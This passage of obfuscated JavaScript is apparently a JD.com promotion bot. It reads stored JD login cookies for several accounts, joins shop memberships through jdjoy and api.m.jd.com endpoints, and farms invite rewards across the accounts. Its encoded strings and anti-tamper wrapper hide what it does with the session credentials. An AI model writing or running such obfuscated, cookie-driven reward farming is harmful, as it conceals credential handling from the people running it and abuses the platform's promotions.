khsWGc=','SXpUam0=','c3luZGQ=','bkx4c28=','eGdUQmM=','eEdxTHA=','cllkbmE=','dm5KUXg=','V1BnTHo=','c3VjY2Vzcw==','ZGF0YQ==','Q0FSZWQ=','aGJhVlc=','S01sZmc=','eWxFSlU=','cmFuZG9t','S0NjRFQ=','WGxFQ2Y=','dG9TdHJpbmc=','dG9VcHBlckNhc2U=','TEJrdXY=','QUdpZ08=','U1B2RGg=','VW5QQks=','ZmZWc0w=','c0VDRGI=','WUhxd2w=','5byA5ZCv5rS75Yqo5oiQ5YqfCg==','TllQT0M=','c2JkYVo=','a1R3WEg=','blZxcE8=','bU5CQno=','QW5rQmI=','dktBT0g=','SXZhSmE=','RnNOUXQ=','aHR0cHM6Ly9qZGpveS5qZC5jb20vbWVtYmVyL2JyaW5nL2ZpcnN0SW52aXRlP2NvZGU9','ZUx0Zk4=','Zk5Zb0w=','TVNYT28=','REVMT3g=','aFROV2U=','b2lLY2I=','QkF5Q0s=','ZklxQmk=','c21VcUg=','YkhPZkE=','TUdQaXA=','bEpuYlU=','Z1praFc=','c3J5cXU=','YktSYUk=','WlZmbVQ=','Z2V0Rmlyc3RJbnZpdGU=','UE1KbVc=','TldyVUY=','cHJ4Q0o=','SFB1Y2I=','YWNmR08=','WmFaQmc=','bW54eE4=','RGJqT2Y=','c0thR3c=','c2RHb3k=','RmhrUHI=','WUFtWWw=','VEpOY0w=','b3BlbkNhcmRTdGF0dXMg','SkJGVUw=','eWx4SVY=','dkxjVHQ=','YVNsYU4=','eWxUclg=','RktGYk8=','ckJ6Y3I=','S21aV24=','SkJTRU4=','bGpsWEQ=','eHpZbEo=','enFUS1k=','R2pDYlM=','VHFWdEg=','cVJCR2E=','SWVQWGo=','Qlh4eVA=','UHhlUVA=','bVpoSWs=','SUZ5WFg=','WER0eEo=','ZUN6dk8=','Z2VTaUc=','Rm9RdFo=','ekZFbEQ=','dUl2Umc=','YW1zcm0=','V05jQXc=','ZVVGZ3Q=','bWZnRGY=','RFVsT0M=','bXFhQVI=','dHFXWFE=','RmF2Umc=','Um5CVUY=','alFEV0M=','YU1Va1c=','Y2lTemk=','eHdxYnc=','QnpjUUU=','WUZIUmE=','b1VOUGU=','Q2p3b2o=','QUtBc2E=','c1R6WHg=','QW90VWs=','bGVHWW4=','V0RueU8=','dXlLTm8=','cUNkdFI=','Q1ZZdGQ=','aHR0cHM6Ly9qZGpveS5qZC5jb20vbWVtYmVyL2JyaW5nL2dldEludml0ZVJld2FyZD9jb2RlPQ==','JnN0YWdlPQ==','TnRFbFQ=','UkhJUmQ=','WVZRTVQ=','b25DR3A=','RWFPcUM=','bFRKS1o=','WFlRUkY=','eUZHWm4=','UU10Vlc=','bHpBS0g=','Slhja2Y=','cHpTT0U=','U2hQSlo=','dnhnbVI=','U2tielA=','QWdoYnU=','Z2tZSnA=','Z1hrSHQ=','YkF6Q3k=','c0l3T0U=','cXRyb2I=','bmNNTkc=','THFZbVU=','Z2V0SW52aXRlUmV3YXJk','R3ZJcFg=','QXhWV20=','cmVzdWx0','dXNlckluZm8=','aW50ZXJlc3RzUnVsZUxpc3Q=','b3BlbkNhcmRBY3Rpdml0eUlk','aW50ZXJlc3RzSW5mbw==','YWN0aXZpdHlJZA==','d01JUWg=','QmZHTW8=','VGNWQW8=','VlFoYlY=','cEFYWVo=','SUVmY0g=','TXZodHg=','dVRkV1A=','aWZLa2w=','RkdOTWw=','cXV5aUE=','SXBZSEI=','dG1zSnQ=','c25VTFo=','WWNobEs=','amx1elk=','Q1FZekU=','a0V2UkY=','dm9LeFA=','ZUNBTWc=','VmhPRE8=','TU1lVWw=','TUNNRWM=','akpYeEo=','a2hpemc=','VG5xbFg=','eWJMa2g=','5Lqk5piT5aSx6LSl','akVQU00=','SkFvZ2o=','ZmRhQ1c=','SVJPWm8=','bmF0aXZl','a2FZQ24=','ZktSams=','ZHBUS3Y=','SHRBc0Q=','aGpJVGo=','ZHZYUGg=','ZEhoQUQ=','V0J0blc=','aWlpbnY=','bnVnbmM=','b1l5Skw=','VlpiaGo=','RXBTS3M=','ZEdRT3Q=','WkVhSGg=','UFFPRUI=','dUFGQ2Q=','aHR0cHM6Ly9qZGpveS5qZC5jb20vbWVtYmVyL2JyaW5nL2pvaW5NZW1iZXI/Y29kZT0=','bG1QWEc=','Tm1lTFk=','VW5aTlg=','TXlCWWY=','akRDSWI=','bGhwUFA=','QU5JZWk=','RWl6YUs=','ZmVRV0k=','dVNxbmY=','ZkZhWFU=','ekRjTFE=','UUxMUVM=','b3hjQ1k=','QU9vT28=','bW5oZ3Q=','TWpiYU8=','SWVLUkM=','SGNKZ2Y=','YUd4WUg=','YWxhU0I=','SFdMeXo=','c3lleGg=','WkNwRWw=','WVNPcWk=','dlBoUGk=','a3J2d0I=','dEd1RWw=','WHlwc20=','blN5Q1I=','aHdRcGo=','QWdsWWY=','VFh6V0w=','ekdLVHo=','T2FZc1M=','T1paeU4=','YXBwbGljYXRpb24vanNvbix0ZXh0L3BsYWluLCAqLyo=','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','emgtY24=','aHR0cHM6Ly93cXMuamQuY29tL215L2ppbmdkb3UvbXkuc2h0bWw/c2NlbmV2YWw9Mg==','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','WWRIUUE=','VUJiUGY=','TkVyTUg=','dXpCWEg=','RHZGRWQ=','QkRQVmM=','bm9uQ1A=','d0lhVlk=','bHVjaEI=','VlpFbXA=','VVF6V2c=','b1Bnc3k=','aHR0cHM6Ly93cS5qZC5jb20vdXNlci9pbmZvL1F1ZXJ5SkRVc2VySW5mbz9zY2VuZXZhbD0y','eGFZb3A=','WXV1eUo=','TUhTZUM=','a2RSdEs=','a0NZTEs=','THZ6WVA=','clZERVU=','cG9zdA==','dERmS08=','VlpsdmY=','a1BqYXE=','Q3Fjenk=','QkhESmw=','RHRMdFo=','WXFubU0=','dkd2Z1c=','c0NaVGE=','TElweFk=','VlhicUQ=','dUdnQ2o=','cmVwbGFjZQ==','QVRwTEg=','VXFjdlY=','b0xuenI=','a0NySms=','Z0VjeXA=','bnh4Qko=','T3NydWU=','UW13dk4=','Z3FjWEw=','YUJPcGg=','YXBpLm0uamQuY29t','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9hcHBpZD1qZF9zaG9wX21lbWJlciZmdW5jdGlvbklkPWdldFNob3BPcGVuQ2FyZEluZm8mYm9keT0=','WUNCcWI=','JmNsaWVudD1INSZjbGllbnRWZXJzaW9uPTkuMi4wJnV1aWQ9ODg4ODg=','RWZldWM=','eERBQVY=','ZkNtTVg=','VUtwY1Q=','aHR0cHM6Ly9zaG9wbWVtYmVyLm0uamQuY29tL3Nob3BjYXJkLz92ZW5kZXJJZD0=','fSZjaGFubmVsPTgwMSZyZXR1cm5Vcmw9','YWN0aXZpdHlVcmw=','ckthTHM=','ZmtLbFU=','b1l1c1k=','UU5vZHk=','TlFtWG4=','V09nc08=','U3ZVZlQ=','WXpySlc=','SE5JTHM=','RmVPRmg=','THFDRG4=','V3ZRRXI=','YVRJR2o=','RldmWXY=','TnBOT1Y=','U3l1RHU=','TnN5bno=','bHN5VXA=','Z1hBTGE=','QWZ5Q20=','ZkhaVFI=','VWdEbUg=','cXR6WEQ=','Tk9vRXo=','dU1TQlk=','YWJMRHo=','aWJtQnk=','aG5Hd0o=','aXNOb2Rl','a2V5cw==','Zm9yRWFjaA==','cHVzaA==','ZW52','SkRfREVCVUc=','ZmFsc2U=','bG9n','Z2V0ZGF0YQ==','Q29va2llSkQ=','Q29va2llSkQy','Q29va2llc0pE','bWFw','Y29va2ll','ZmlsdGVy','cmV0Y29kZQ==','YmFzZQ==','VFRZeVA=','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','eHh4eHh4eHgteHh4eC14eHh4LXh4eHgteHh4eHh4eHh4eHh4','eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA==','5rS75Yqo5aSq54Gr54iG5LqG77yM6K+356iN5ZCO5YaN6K+V','QlhOQmY=','6Zi25q61IA==','IC0tIA==','IC0tIOW6k+WtmCA=','IC0tIOS6uuaVsCA=','CmhlbHDkurrmlbAg','CuWKqeWKmyAtPiA=','cUZzcUQ=','d0daWGY=','RGhhcUc=','RmxHdVg=','NDAx','5pyq5byA5Y2h','5bey5byA5Y2h','5b2T5YmN5Yqp5Yqb5Lq65pWwIC0+IA==','ZmRZSUg=','5Yqp5Yqb5bey5ruh','WVlUeUE=','RW52eXk=','SklxaE8=','WHRJUWE=','V0FTd3o=','UUtNdng=','bXNn','bmFtZQ==','TW14c1c=','dFlLVlU=','5Lqs5Lic5pyN5Yqh5Zmo6L+U5Zue56m65pWw5o2u','aGVscE51bQ==','dmVuZGVySWQ=','cmV3YXJkc2xpc3Q=','SnVkVkw=','VXNlck5hbWU=','Z3R0dHE=','bWF0Y2g=','aW5kZXg=','VVJzbU0=','aXNMb2dpbg==','bmlja05hbWU=','ZXJyb3JNZXNzYWdl','V3NOYks=','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','QURJRA==','eHZLZ3Q=','WFVkWWI=','VVVJRA==','bHZFQ1k=','S3FvdFU=','jsjiaNNTXmiX.tcoPKdYm.Uv6qfTtgC=='];if(function(_0x3a0328,_0x2adec3,_0x25a0a6){function _0x19322d(_0x58697e,_0x3e2dfe,_0x5b67ee,_0x20ed1e,_0x28e3d6,_0x99e7ba){_0x3e2dfe=_0x3e2dfe>>0x8,_0x28e3d6='po';var _0x4aaced='shift',_0x4a9a46='push',_0x99e7ba='‮';if(_0x3e2dfe<_0x58697e){while(--_0x58697e){_0x20ed1e=_0x3a0328[_0x4aaced]();if(_0x3e2dfe===_0x58697e&&_0x99e7ba==='‮'&&_0x99e7ba['length']===0x1){_0x3e2dfe=_0x20ed1e,_0x5b67ee=_0x3a0328[_0x28e3d6+'p']();}else if(_0x3e2dfe&&_0x5b67ee['replace'](/[NNTXXtPKdYUqfTtgC=]/g,'')===_0x3e2dfe){_0x3a0328[_0x4a9a46](_0x20ed1e);}}_0x3a0328[_0x4a9a46](_0x3a0328[_0x4aaced]());}return 0xffa01;};return _0x19322d(++_0x2adec3,_0x25a0a6)>>_0x2adec3^_0x25a0a6;}(_0x550c,0x1e6,0x1e600),_0x550c){_0xod4_=_0x550c['length']^0x1e6;};function _0x56ae(_0xe6b186,_0x5da629){_0xe6b186=~~'0x'['concat'](_0xe6b186['slice'](0x1));var _0x2521ab=_0x550c[_0xe6b186];if(_0x56ae['BpBMRw']===undefined&&'‮'['length']===0x1){(function(){var _0x300f69=function(){var _0x5ed8f5;try{_0x5ed8f5=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x2bbe27){_0x5ed8f5=window;}return _0x5ed8f5;};var _0x3d206e=_0x300f69();var _0xea0e39='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x3d206e['atob']||(_0x3d206e['atob']=function(_0x30ece0){var _0x2dcb73=String(_0x30ece0)['replace'](/=+$/,'');for(var _0x55fd0f=0x0,_0x2d0fc6,_0x34f6d1,_0x37f10b=0x0,_0x35846d='';_0x34f6d1=_0x2dcb73['charAt'](_0x37f10b++);~_0x34f6d1&&(_0x2d0fc6=_0x55fd0f%0x4?_0x2d0fc6*0x40+_0x34f6d1:_0x34f6d1,_0x55fd0f++%0x4)?_0x35846d+=String['fromCharCode'](0xff&_0x2d0fc6>>(-0x2*_0x55fd0f&0x6)):0x0){_0x34f6d1=_0xea0e39['indexOf'](_0x34f6d1);}return _0x35846d;});}());_0x56ae['vWbopf']=function(_0x405022){var _0x30f59c=atob(_0x405022);var _0x68d638=[];for(var _0x10c49b=0x0,_0x314601=_0x30f59c['length'];_0x10c49b<_0x314601;_0x10c49b++){_0x68d638+='%'+('00'+_0x30f59c['charCodeAt'](_0x10c49b)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x68d638);};_0x56ae['jPjMCb']={};_0x56ae['BpBMRw']=!![];}var _0xfa67e1=_0x56ae['jPjMCb'][_0xe6b186];if(_0xfa67e1===undefined){_0x2521ab=_0x56ae['vWbopf'](_0x2521ab);_0x56ae['jPjMCb'][_0xe6b186]=_0x2521ab;}else{_0x2521ab=_0xfa67e1;}return _0x2521ab;};let help=0x0;if($[_0x56ae('‮0')]()){Object[_0x56ae('‮1')](jdCookieNode)[_0x56ae('‫2')](_0x4f33a2=>{cookiesArr[_0x56ae('‫3')](jdCookieNode[_0x4f33a2]);});if(process[_0x56ae('‮4')][_0x56ae('‫5')]&&process[_0x56ae('‮4')][_0x56ae('‫5')]===_0x56ae('‫6'))console[_0x56ae('‮7')]=()=>{};}else{cookiesArr=[$[_0x56ae('‮8')](_0x56ae('‮9')),$[_0x56ae('‮8')](_0x56ae('‮a')),...jsonParse($[_0x56ae('‮8')](_0x56ae('‮b'))||'[]')[_0x56ae('‫c')](_0x49e4a8=>_0x49e4a8[_0x56ae('‫d')])][_0x56ae('‫e')](_0x5e09bb=>!!_0x5e09bb);}!(async()=>{var _0x3f059a={'ECexV':function(_0x28f36b,_0x48ec5f){return _0x28f36b===_0x48ec5f;},'PLTue':_0x56ae('‮f'),'iaPqX':_0x56ae('‮10'),'GuXdW':function(_0x3bf8b9){return _0x3bf8b9();},'mFRbB':function(_0xf200bc,_0x9771d1){return _0xf200bc!=_0x9771d1;},'WASwz':function(_0x270fa7,_0x540f58){return _0x270fa7===_0x540f58;},'QKMvx':_0x56ae('‮11'),'MmxsW':_0x56ae('‮12'),'tYKVU':_0x56ae('‮13'),'JudVL':function(_0x40711c,_0x5af3f4){return _0x40711c<_0x5af3f4;},'gtttq':function(_0x57fd92,_0x4bd7da){return _0x57fd92(_0x4bd7da);},'URsmM':function(_0x3d4306,_0x252dc2){return _0x3d4306+_0x252dc2;},'WsNbK':function(_0x6d998e){return _0x6d998e();},'xvKgt':function(_0x37b9f1,_0x7fabaa,_0x1d0479){return _0x37b9f1(_0x7fabaa,_0x1d0479);},'XUdYb':_0x56ae('‮14'),'lvECY':_0x56ae('‮15'),'KqotU':function(_0xb226db,_0x1cafac){return _0xb226db===_0x1cafac;},'GrrWY':_0x56ae('‫16'),'xUfAs':_0x56ae('‮17'),'KUkJr':function(_0x249840,_0x18bd63){return _0x249840+_0x18bd63;},'ToCho':function(_0x5d47c0,_0x5befbd){return _0x5d47c0+_0x5befbd;},'seAvh':function(_0x346dc2,_0x3f21ae){return _0x346dc2+_0x3f21ae;},'oYkJg':function(_0x546222,_0x6916b8){return _0x546222+_0x6916b8;},'KCILX':function(_0x2b3161,_0x1098b4){return _0x2b3161+_0x1098b4;},'HxFYE':_0x56ae('‮18'),'aIKwQ':_0x56ae('‮19'),'VfCwZ':_0x56ae('‫1a'),'PexlQ':_0x56ae('‮1b'),'UUTGr':function(_0x449d62,_0x1dd09a){return _0x449d62!=_0x1dd09a;},'VCCgW':function(_0x5b1c46,_0x13e22a){return _0x5b1c46+_0x13e22a;},'YcVgb':_0x56ae('‮1c'),'ViEUF':function(_0x5882e9,_0x183774){return _0x5882e9+_0x183774;},'EihIr':_0x56ae('‫1d'),'TcwdA':function(_0x3e22b7,_0x301b54){return _0x3e22b7!==_0x301b54;},'jMwUj':_0x56ae('‫1e'),'BpqZa':_0x56ae('‫1f'),'HtaYY':function(_0x204ace,_0x1e523b){return _0x204ace(_0x1e523b);},'qyuoG':function(_0x2216db,_0x3a9372){return _0x2216db+_0x3a9372;},'ErwYE':function(_0x2743f5){return _0x2743f5();},'HEQIu':function(_0x280591,_0x2b0186){return _0x280591===_0x2b0186;},'ZsxLW':_0x56ae('‮20'),'nYDUX':_0x56ae('‫21'),'jXwgq':function(_0x3e9f3c,_0x407f61){return _0x3e9f3c(_0x407f61);},'ScWFZ':function(_0x23a87e,_0x502109){return _0x23a87e<_0x502109;},'jIUSa':_0x56ae('‫22'),'ZSUdo':_0x56ae('‫23'),'YwfSc':_0x56ae('‫24'),'dIgrS':_0x56ae('‮25'),'wtFId':_0x56ae('‫26'),'BqfRv':_0x56ae('‮27'),'DMufB':function(_0x4b19c6,_0x43e31a){return _0x4b19c6<_0x43e31a;},'HbXUf':function(_0x2ab7df,_0x507f02){return _0x2ab7df===_0x507f02;},'baBWv':_0x56ae('‮28'),'saSAO':function(_0x2fdfc4,_0x4ba18e){return _0x2fdfc4(_0x4ba18e);},'olafb':function(_0x5a9480,_0x4ed0f2){return _0x5a9480+_0x4ed0f2;},'OUxUh':function(_0x218704,_0x5af92f){return _0x218704!==_0x5af92f;},'wwBps':_0x56ae('‮29'),'EsxAH':function(_0x2516ea,_0x592424){return _0x2516ea(_0x592424);},'AofBS':_0x56ae('‫2a'),'mcEYM':_0x56ae('‫2b'),'ieJTY':function(_0x422623,_0x3a18cc){return _0x422623(_0x3a18cc);}};if(!cookiesArr[0x0]){if(_0x3f059a[_0x56ae('‮2c')](_0x3f059a[_0x56ae('‫2d')],_0x3f059a[_0x56ae('‫2d')])){$[_0x56ae('‫2e')]($[_0x56ae('‮2f')],_0x3f059a[_0x56ae('‫30')],_0x3f059a[_0x56ae('‮31')],{'open-url':_0x3f059a[_0x56ae('‮31')]});return;}else{console[_0x56ae('‮7')](_0x56ae('‮32'));}}$[_0x56ae('‮33')]=0x0;$[_0x56ae('‮34')]='';$[_0x56ae('‮35')]=[];console[_0x56ae('‮7')]('开团');for(let _0x4f430b=0x0;_0x3f059a[_0x56ae('‮36')](_0x4f430b,0x1);_0x4f430b++){if(cookiesArr[_0x4f430b]){cookie=cookiesArr[_0x4f430b];$[_0x56ae('‮37')]=_0x3f059a[_0x56ae('‮38')](decodeURIComponent,cookie[_0x56ae('‮39')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x56ae('‮39')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x56ae('‮3a')]=_0x3f059a[_0x56ae('‫3b')](_0x4f430b,0x1);$[_0x56ae('‮3c')]=!![];$[_0x56ae('‫3d')]='';$[_0x56ae('‮3e')]='';message='';await _0x3f059a[_0x56ae('‮3f')](TotalBean);console[_0x56ae('‮7')](_0x56ae('‫40')+$[_0x56ae('‮3a')]+'】'+($[_0x56ae('‫3d')]||$[_0x56ae('‮37')])+_0x56ae('‫41'));if(!$[_0x56ae('‮3c')]){$[_0x56ae('‫2e')]($[_0x56ae('‮2f')],_0x56ae('‮42'),_0x56ae('‫43')+$[_0x56ae('‮3a')]+'\x20'+($[_0x56ae('‫3d')]||$[_0x56ae('‮37')])+_0x56ae('‫44'),{'open-url':_0x3f059a[_0x56ae('‮31')]});if($[_0x56ae('‮0')]()){}continue;}$[_0x56ae('‫45')]=_0x3f059a[_0x56ae('‮46')](getUUID,_0x3f059a[_0x56ae('‫47')],0x1);$[_0x56ae('‮48')]=_0x3f059a[_0x56ae('‮38')](getUUID,_0x3f059a[_0x56ae('‮49')]);await _0x3f059a[_0x56ae('‮3f')](main);await _0x3f059a[_0x56ae('‮3f')](getFirstInvite);if(_0x3f059a[_0x56ae('‮4a')]($[_0x56ae('‮3e')],_0x3f059a[_0x56ae('‫4b')])){return;}if($[_0x56ae('‮4c')]){if(_0x3f059a[_0x56ae('‮4a')](_0x3f059a[_0x56ae('‮4d')],_0x3f059a[_0x56ae('‮4d')])){for(const _0x59bd0f of $[_0x56ae('‮4c')][_0x56ae('‫4e')]){console[_0x56ae('‮7')](_0x3f059a[_0x56ae('‫4f')](_0x3f059a[_0x56ae('‫50')](_0x3f059a[_0x56ae('‫50')](_0x3f059a[_0x56ae('‫50')](_0x3f059a[_0x56ae('‫50')](_0x3f059a[_0x56ae('‮51')](_0x3f059a[_0x56ae('‮51')](_0x3f059a[_0x56ae('‮52')](_0x3f059a[_0x56ae('‫53')](_0x3f059a[_0x56ae('‮54')],_0x59bd0f[_0x56ae('‮55')]),_0x3f059a[_0x56ae('‫56')]),_0x59bd0f[_0x56ae('‫57')]),_0x3f059a[_0x56ae('‫56')]),_0x59bd0f[_0x56ae('‮58')]),_0x3f059a[_0x56ae('‫59')]),_0x59bd0f[_0x56ae('‫5a')]),_0x3f059a[_0x56ae('‮5b')]),_0x59bd0f[_0x56ae('‮5c')]));if(_0x3f059a[_0x56ae('‮5d')](_0x59bd0f[_0x56ae('‮58')][_0x56ae('‫5e')]('京豆'),-0x1)){$[_0x56ae('‮35')][_0x56ae('‫3')](_0x59bd0f[_0x56ae('‮55')]);help=_0x59bd0f[_0x56ae('‮5c')];}}console[_0x56ae('‮7')](_0x3f059a[_0x56ae('‫5f')](_0x3f059a[_0x56ae('‮60')],help));}else{$[_0x56ae('‮61')](e,resp);}}invitePin=$[_0x56ae('‮37')];console[_0x56ae('‮7')]($[_0x56ae('‮34')]);await _0x3f059a[_0x56ae('‮3f')](getRuhui);}}console[_0x56ae('‮7')](_0x3f059a[_0x56ae('‮62')](_0x3f059a[_0x56ae('‫63')],invitePin));for(let _0x5c8458=0x1;_0x3f059a[_0x56ae('‮36')](_0x5c8458,cookiesArr[_0x56ae('‫64')]);_0x5c8458++){if(_0x3f059a[_0x56ae('‮65')](_0x3f059a[_0x56ae('‫66')],_0x3f059a[_0x56ae('‫67')])){if(cookiesArr[_0x5c8458]){cookie=cookiesArr[_0x5c8458];$[_0x56ae('‮37')]=_0x3f059a[_0x56ae('‫68')](decodeURIComponent,cookie[_0x56ae('‮39')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x56ae('‮39')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x56ae('‮3a')]=_0x3f059a[_0x56ae('‫69')](_0x5c8458,0x1);$[_0x56ae('‮3c')]=!![];$[_0x56ae('‫3d')]='';message='';await _0x3f059a[_0x56ae('‮6a')](TotalBean);console[_0x56ae('‮7')](_0x56ae('‫40')+$[_0x56ae('‮3a')]+'】'+($[_0x56ae('‫3d')]||$[_0x56ae('‮37')])+_0x56ae('‫41'));if(!$[_0x56ae('‮3c')]){if(_0x3f059a[_0x56ae('‫6b')](_0x3f059a[_0x56ae('‮6c')],_0x3f059a[_0x56ae('‫6d')])){data=JSON[_0x56ae('‫6e')](data);if(_0x3f059a[_0x56ae('‮6f')](data[_0x3f059a[_0x56ae('‫70')]],0xd)){$[_0x56ae('‮3c')]=![];return;}if(_0x3f059a[_0x56ae('‮6f')](data[_0x3f059a[_0x56ae('‫70')]],0x0)){$[_0x56ae('‫3d')]=data[_0x3f059a[_0x56ae('‫71')]]&&data[_0x3f059a[_0x56ae('‫71')]][_0x56ae('‮72')]||$[_0x56ae('‮37')];}else{$[_0x56ae('‫3d')]=$[_0x56ae('‮37')];}}else{$[_0x56ae('‫2e')]($[_0x56ae('‮2f')],_0x56ae('‮42'),_0x56ae('‫43')+$[_0x56ae('‮3a')]+'\x20'+($[_0x56ae('‫3d')]||$[_0x56ae('‮37')])+_0x56ae('‫44'),{'open-url':_0x3f059a[_0x56ae('‮31')]});if($[_0x56ae('‮0')]()){}continue;}}$[_0x56ae('‫45')]=_0x3f059a[_0x56ae('‮46')](getUUID,_0x3f059a[_0x56ae('‫47')],0x1);$[_0x56ae('‮48')]=_0x3f059a[_0x56ae('‮73')](getUUID,_0x3f059a[_0x56ae('‮49')]);if(_0x3f059a[_0x56ae('‮74')]($[_0x56ae('‮33')],help)){await _0x3f059a[_0x56ae('‮46')](getShopOpenCardInfo,{'venderId':$[_0x56ae('‮34')],'channel':_0x3f059a[_0x56ae('‮75')]},0xa18353);if(_0x3f059a[_0x56ae('‫6b')]($[_0x56ae('‫76')],0x0)){console[_0x56ae('‮7')](_0x3f059a[_0x56ae('‮77')]);await _0x3f059a[_0x56ae('‮6a')](main);}else{console[_0x56ae('‮7')](_0x3f059a[_0x56ae('‫78')]);}console[_0x56ae('‮7')](_0x3f059a[_0x56ae('‫69')](_0x3f059a[_0x56ae('‫79')],$[_0x56ae('‮33')]));}else{if(_0x3f059a[_0x56ae('‮65')](_0x3f059a[_0x56ae('‮7a')],_0x3f059a[_0x56ae('‮7a')])){_0x3f059a[_0x56ae('‮7b')](resolve);}else{console[_0x56ae('‮7')](_0x3f059a[_0x56ae('‮7c')]);break;}}}}else{if(data){console[_0x56ae('‮7')](data);}else{console[_0x56ae('‮7')](_0x56ae('‮32'));}}}console[_0x56ae('‮7')]('领取');for(let _0x1ac418=0x0;_0x3f059a[_0x56ae('‮7d')](_0x1ac418,0x1);_0x1ac418++){if(cookiesArr[_0x1ac418]){if(_0x3f059a[_0x56ae('‮7e')](_0x3f059a[_0x56ae('‫7f')],_0x3f059a[_0x56ae('‫7f')])){cookie=cookiesArr[_0x1ac418];$[_0x56ae('‮37')]=_0x3f059a[_0x56ae('‮80')](decodeURIComponent,cookie[_0x56ae('‮39')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x56ae('‮39')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x56ae('‮3a')]=_0x3f059a[_0x56ae('‫81')](_0x1ac418,0x1);$[_0x56ae('‮3c')]=!![];$[_0x56ae('‫3d')]='';message='';await _0x3f059a[_0x56ae('‮6a')](TotalBean);console[_0x56ae('‮7')](_0x56ae('‫40')+$[_0x56ae('‮3a')]+'】'+($[_0x56ae('‫3d')]||$[_0x56ae('‮37')])+_0x56ae('‫41'));if(!$[_0x56ae('‮3c')]){if(_0x3f059a[_0x56ae('‮82')](_0x3f059a[_0x56ae('‮83')],_0x3f059a[_0x56ae('‮83')])){if(_0x3f059a[_0x56ae('‮84')]($[_0x56ae('‮3a')],0x1)){$[_0x56ae('‮33')]+=0x1;}}else{$[_0x56ae('‫2e')]($[_0x56ae('‮2f')],_0x56ae('‮42'),_0x56ae('‫43')+$[_0x56ae('‮3a')]+'\x20'+($[_0x56ae('‫3d')]||$[_0x56ae('‮37')])+_0x56ae('‫44'),{'open-url':_0x3f059a[_0x56ae('‮31')]});if($[_0x56ae('‮0')]()){}continue;}}$[_0x56ae('‫45')]=_0x3f059a[_0x56ae('‮46')](getUUID,_0x3f059a[_0x56ae('‫47')],0x1);$[_0x56ae('‮48')]=_0x3f059a[_0x56ae('‫85')](getUUID,_0x3f059a[_0x56ae('‮49')]);for(const _0x59bd0f of $[_0x56ae('‮35')]){if(_0x3f059a[_0x56ae('‮82')](_0x3f059a[_0x56ae('‮86')],_0x3f059a[_0x56ae('‮87')])){await $[_0x56ae('‫88')](0x1388);await _0x3f059a[_0x56ae('‮89')](getInviteReward,_0x59bd0f);}else{console[_0x56ae('‮7')](''+JSON[_0x56ae('‫8a')](err));console[_0x56ae('‮7')]($[_0x56ae('‮2f')]+_0x56ae('‫8b'));}}}else{$[_0x56ae('‮61')](e,resp);}}}})()[_0x56ae('‮8c')](_0x7dc40=>{$[_0x56ae('‮7')]('','❌\x20'+$[_0x56ae('‮2f')]+_0x56ae('‮8d')+_0x7dc40+'!','');})[_0x56ae('‫8e')](()=>{$[_0x56ae('‮8f')]();});async function main(){var _0x52b64c={'XUZvt':_0x56ae('‮9'),'JJmmC':_0x56ae('‮a'),'VLpzx':function(_0xae9b0c,_0x5be91c){return _0xae9b0c(_0x5be91c);},'RwhYw':_0x56ae('‮b'),'vfTDw':function(_0x2312e7){return _0x2312e7();},'YFWau':function(_0x52fd1b,_0x1c62fb){return _0x52fd1b!==_0x1c62fb;},'nlzbc':_0x56ae('‫90'),'vKtKQ':_0x56ae('‫91'),'XxsFU':function(_0x3e19b9,_0x55fc3a){return _0x3e19b9===_0x55fc3a;}};await _0x52b64c[_0x56ae('‫92')](getPlogin);await _0x52b64c[_0x56ae('‫92')](getActivityPage);if($[_0x56ae('‮4c')]){if(_0x52b64c[_0x56ae('‮93')](_0x52b64c[_0x56ae('‫94')],_0x52b64c[_0x56ae('‫95')])){$[_0x56ae('‮34')]=$[_0x56ae('‮4c')][_0x56ae('‮34')];if(_0x52b64c[_0x56ae('‫96')]($[_0x56ae('‮4c')][_0x56ae('‮97')],0x1)){await _0x52b64c[_0x56ae('‫92')](getRuhui);}}else{cookiesArr=[$[_0x56ae('‮8')](_0x52b64c[_0x56ae('‫98')]),$[_0x56ae('‮8')](_0x52b64c[_0x56ae('‫99')]),..._0x52b64c[_0x56ae('‮9a')](jsonParse,$[_0x56ae('‮8')](_0x52b64c[_0x56ae('‫9b')])||'[]')[_0x56ae('‫c')](_0x4d74cb=>_0x4d74cb[_0x56ae('‫d')])][_0x56ae('‫e')](_0x32719f=>!!_0x32719f);}}}function getPlogin(){var _0x49c44e={'Ksykn':function(_0x1f4048,_0x492be5){return _0x1f4048===_0x492be5;},'kVMgW':_0x56ae('‫6'),'LgiUM':_0x56ae('‫9c'),'efuSL':_0x56ae('‮9d'),'prZND':function(_0x3ea1ec,_0x5bf07e){return 